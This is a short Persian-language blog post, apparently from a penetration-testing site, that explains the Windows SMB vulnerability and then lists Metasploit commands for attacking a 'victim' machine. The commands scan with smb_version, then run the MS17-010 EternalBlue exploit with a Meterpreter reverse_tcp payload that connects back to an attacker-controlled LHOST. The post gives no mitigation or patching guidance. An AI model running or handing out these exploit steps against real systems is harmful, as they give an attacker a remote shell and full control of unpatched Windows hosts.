آسیب پذیری پروتکل SMB در ویندوز

با سلام خدمت همه کاربران عزیز وب سایت اولترا پنتست ، سیستم عامل ویندوز یکی از بهترین سیستم عامل دنیا هست و در سراسر دنیا کاربران زیادی از جمله سازمان ، اداره ها ، فروشگاه ها و افراد عادی از این سیستم عامل محبوب استفاده می کنید و همین دلیل باعث شده هکرهای زیادی به دنبال یک نقطه ضعف از این سیستم عامل باشند تا بتونند دسترسی به این سیستم عامل بگیرند و یک سری سوء استفاده ها رو انجام بدهند.یک آسیب پذیری خیلی خطرناک در سال های اخیر در پروتکل smb سیستم عامل ویندوز یافت شده که به هکرها این امکان رو میده که بتونند دسترسی کامل از سیستم قربانی رو بگیرند.پروتکل smb مخفف کلمه Server Message Block است. از این پروتکل برای به اشتراک گذاری فایل ، پوشه و پرینتر در شبکه استفاده می شود. جهت درک بهتر مطالب لطفا ویدیو زیر را مشاهده کنید :

دستور اسکن آسیب پذیری در متااسپلویت :

use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.110
run

 

دستور اکسپلویت و استفاده از آسیب پذیری از سیستم قربانی :

use exploit/windows/smb/ms17_010_eternalblue
set RHOST 192.168.1.110
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.108
exploit